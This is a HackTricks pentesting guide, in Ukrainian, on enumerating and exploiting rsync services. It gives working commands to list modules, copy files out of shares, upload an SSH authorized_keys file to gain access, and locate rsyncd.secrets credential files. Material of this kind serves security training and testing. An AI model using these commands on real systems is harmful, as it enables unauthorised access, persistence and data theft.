873 - Pentesting Rsync
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
З wikipedia:
rsync - це утиліта для ефективного перенесення та синхронізації файлів між комп'ютером та зовнішнім жорстким диском, а також між мережевими комп'ютерами шляхом порівняння часів модифікації та розмірів файлів.[3] Він зазвичай зустрічається на Unix-подібних операційних системах. Алгоритм rsync є типом delta encoding і використовується для мінімізації використання мережі. Zlib може бути використаний для додаткової стиснення даних,[3] а SSH або stunnel можуть бути використані для безпеки.
Порт за замовчуванням: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Перерахування
Банер та ручна комунікація
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Перерахування спільних папок
Модулі Rsync вважаються спільними каталогами, які можуть бути захищені паролями. Щоб визначити доступні модулі та перевірити, чи потрібні паролі, використовуються такі команди:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Будьте обережні, що деякі спільні ресурси можуть не з'явитися в списку, можливо, їх приховано. Крім того, доступ до деяких спільних ресурсів може бути обмежений певними обліковими даними, що вказується повідомленням "Доступ заборонено".
Brute Force
Ручне використання Rsync
Після отримання списку модулів дії залежать від того, чи потрібна аутентифікація. Без аутентифікації перелік та копіювання файлів з загальної папки до локального каталогу здійснюється через:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Цей процес рекурсивно передає файли, зберігаючи їх атрибути та дозволи.
З обліковими даними перелік та завантаження з загальної папки можна виконати наступним чином, де з'явиться запит на пароль:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Щоб завантажити вміст, наприклад, файл authorized_keys для доступу, використовуйте:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Щоб знайти файл конфігурації rsyncd, виконайте:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
У цьому файлі параметр secrets file може вказувати на файл, що містить імена користувачів та паролі для аутентифікації rsyncd.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.